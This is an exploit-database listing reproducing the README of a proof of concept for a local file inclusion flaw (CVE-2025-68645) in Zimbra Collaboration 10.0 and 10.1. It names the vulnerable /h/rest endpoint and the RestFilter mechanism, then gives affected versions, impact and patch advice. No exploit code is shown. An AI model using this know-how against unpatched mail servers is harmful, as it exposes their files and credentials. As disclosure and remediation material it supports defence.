Exploit for 📄 Zimbra Collaboration 10.0 / 10.1 Local File Inclusion CVE-2025-68645

## https://sploitus.com/exploit?id=PACKETSTORM:213358
# zimbramail-CVE-2025-68645-poc
    
    A proof-of-concept exploiting a Local File Inclusion (LFI) vulnerability existing in the Webmail Classic UI of Zimbra Collaboration (ZCS) 10.0 and 10.1 because of improper handling of user-supplied request parameters in the RestFilter servlet.
    
    # Vulnerability
    
    The vulnerability exists due to improper input validation in the RestFilter servlet. An unauthenticated remote attacker can craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory.
    
    -   User-controlled parameters are not correctly sanitized.
    -   Internal request routing can be manipulated.
    -   Arbitrary files under the WebRoot directory may be included in server responses.
    
    # Affected Versions
    
    -   Zimbra versions 10.0.x prior to 10.0.18
    -   Zimbra versions 10.1.x prior to 10.1.13

    # Impact
    
    An unauthenticated remote attackers can include arbitrary files from the WebRoot directory, potentially exposing sensitive information.
    
    -   Read sensitive files (configs, environment data)
    -   Leak credentials or internal paths
    -   Gather intelligence for further exploitation
    -   Chain with other vulnerabilities for deeper compromise

    # Remediation & Mitigation
    
    Update to the latest version of Zimbra Collaboration.
    
    -   ZCS 10.0.18
    -   ZCS 10.1.13 and later
    
    Recommended Actions :
    
    1. Upgrade immediately to a patched version
    2. Disable Classic UI if not required
    3. Monitor logs for suspicious access to `/h/rest`
    4. Restrict public access to Zimbra web endpoints where possible
    5. Review WebRoot permissions and exposed files
